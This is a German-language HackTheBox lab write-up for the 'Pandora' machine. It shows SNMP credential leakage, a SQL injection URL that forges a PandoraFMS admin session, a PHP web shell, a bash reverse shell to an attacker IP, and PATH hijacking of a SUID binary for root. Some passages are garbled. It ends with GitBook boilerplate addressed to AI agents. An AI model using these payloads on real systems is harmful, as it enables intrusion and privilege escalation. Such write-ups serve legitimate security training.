> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md). # Pandora HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Schnelle SNMP-Aufzählung * Informationsleck * Lokale Portweiterleitung * SQL-Injection - Übernahme einer Admin-Sitzung * PandoraFMS v7.0NG Authentifizierte Remote-Code-Ausführung (CVE-2019-20224] * Missbrauch einer benutzerdefinierten Binärdatei - PATH-Hijacking (Rechteausweitung) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

## TCP: **Offene TCP-Ports mit Nmap finden:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22.80)

**TCP-Port-Version-Scan mit Nmap:** Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80 10.10.11.136 -oN targeted ```

### Port 80: Wir verwendeten `whatweb` um die vom Webserver verwendeten Technologien zu identifizieren:

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

## UDP: **Offene UDP-Ports mit Nmap finden:** Wir führen außerdem einen Scan der UDP-Ports mit **Nmap**: ```bash nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP ``` wir entdecken die SNMP-Ports 161, 17185 und 49201

**UDP-Port-Version-Scan mit Nmap:** Verwendung von Nmap, um die Version der UDP-Ports zu scannen und die Informationen in die Datei "targeted" zu extrahieren: ```bash nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP ``` Entdeckung sensibler Informationen über SNMP, einschließlich eines Benutzers: * `daniel` * Passwort: `HotelBabylon23`.

## Port 161 - SNMP {% embed url="" %} **SNMP-Aufzählung** Um die exponierten SNMP-Dienste zu untersuchen, verwendeten wir den folgenden Befehl ```bash snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt ``` * Durch die Analyse des Inhalts von `snmpcontent.txt`entdeckten wir sensible Informationen, einschließlich gültiger Zugangsdaten: * **Benutzer**: `daniel` * **Passwort**: `HotelBabylon23`

Mit den abgerufenen Informationen stellten wir eine SSH-Verbindung zur Zielmaschine her: ```bash ssh daniel@10.10.11.136 ```

## **Privilegieneskalation** **Erste Suche** Durch das Durchsuchen der für den Benutzer zugänglichen Verzeichnisse `daniel`identifizierten wir interessante Dateien und Ordner im folgenden Pfad: `/var/www/pandora`

Dieses Verzeichnis enthält die PandoraFMS-Website, die von außen offenbar nicht direkt zugänglich ist. **Portweiterleitung** Um über unsere lokale Maschine auf die PandoraFMS-Oberfläche zuzugreifen, richteten wir einen SSH-Tunnel ein: ```bash ssh -L 80:127.0.0.1:80 daniel@10.10.11.136 ``` ## Ausnutzung von Pandora FMS - SQL-Injection ### **SQL-Injection : Übernahme einer Admin-Sitzung** Dieser Befehl leitet lokale HTTP-Anfragen an den internen Webserver um.

Erkannte Version: **v7.0NG.742/\_FIX/\_PERL2020**.

{% embed url="" %} Bekannte Schwachstelle in `chart_generator.php` über die `session_id` Variable:

``` http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' ```

Ausführen einer SQL-Injection, um eine Admin-Sitzung zu fälschen:

http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO

* Dieser Befehl gibt ein Admin-Sitzungscookie zurück.

Verwendung des Cookies, um als Administrator auf das Dashboard zuzugreifen.

### **Remote-Code-Ausführung (RCE) - (CVE-2019-20224]** Navigieren Sie zu **Dateimanager**.

Hochladen einer bösartigen PHP-Datei:

<?php system($_GET['cmd']); ?>

* Datei zugänglich über `http://127.0.0.1/pandora_console/images/cmd.php`.

Ausführen einer Reverse Shell: * Lokales Lauschen: ```bash nc -nvlp 443 ``` * Den Befehl auf dem Zielserver ausführen: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261" ``` Zugriff erlangt als Benutzer `matt`.

**Terminal vorbereiten:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Ermöglicht eine komfortablere Nutzung in einem interaktiven Terminal. ### Flag User.txt :)

## PATH-Hijacking - Missbrauch einer benutzerdefinierten Binärdatei **Nach Binärdateien mit SUID-Berechtigungen suchen** ```bash find / -perm -4000 2>/dev/null ``` Ergebnis: Eine interessante Binärdatei wurde gefunden:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

**Binäranalyse mit `ltrace`** Um zu verstehen, wie die Binärdatei funktioniert, verwendeten wir **`ltrace`** (ein Werkzeug zur Verfolgung von Systemaufrufen), um die von dieser Binärdatei ausgeführten Systemaufrufe zu beobachten: ```bash ltrace /usr/bin/pandora_backup ``` Dies ermöglichte uns zu sehen, dass die Binärdatei den **KEEP/*****0/*****/\_** Befehl ausführte, ohne einen absoluten Pfad zur ausführbaren Datei zu verwenden, was eine potenzielle Schwachstelle darstellt. Mit anderen Worten: Wenn wir unsere **`PATH`** zu ändern, um ein Verzeichnis einzuschließen, das eine bösartige ausführbare Datei namens `tar`enthält, würde diese anstelle der ursprünglichen ausgeführt.

**Ausnutzung durch PATH-Hijacking** **Erstellen einer bösartigen `tar` Datei ein:** Wir erstellten eine Datei mit dem Namen `tar` in `/tmp/` Verzeichnis mit Ausführungsrechten **SUID**. Diese Datei enthält einen Befehl, um eine Bash-Shell mit erhöhten Rechten zu öffnen: ```bash chmod 4777 /bin/bash ``` **Änderung des `PATH` Variable:** Um das System dazu zu zwingen, unsere bösartige Version von `tar`, haben wir die `PATH` Variable, um das `/tmp/` Verzeichnis ```bash export PATH=/tmp/:$PATH ```

**Ausführen der verwundbaren Binärdatei:** Nach der Änderung des `PATH`, führten wir die **`pandora_backup`** Binärdatei aus:

Durch das Ausführen unserer modifizierten Version von `tar`, wurde eine Bash-Shell mit erhöhten Rechten geöffnet, wodurch wir `root` Zugriff erhielten. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.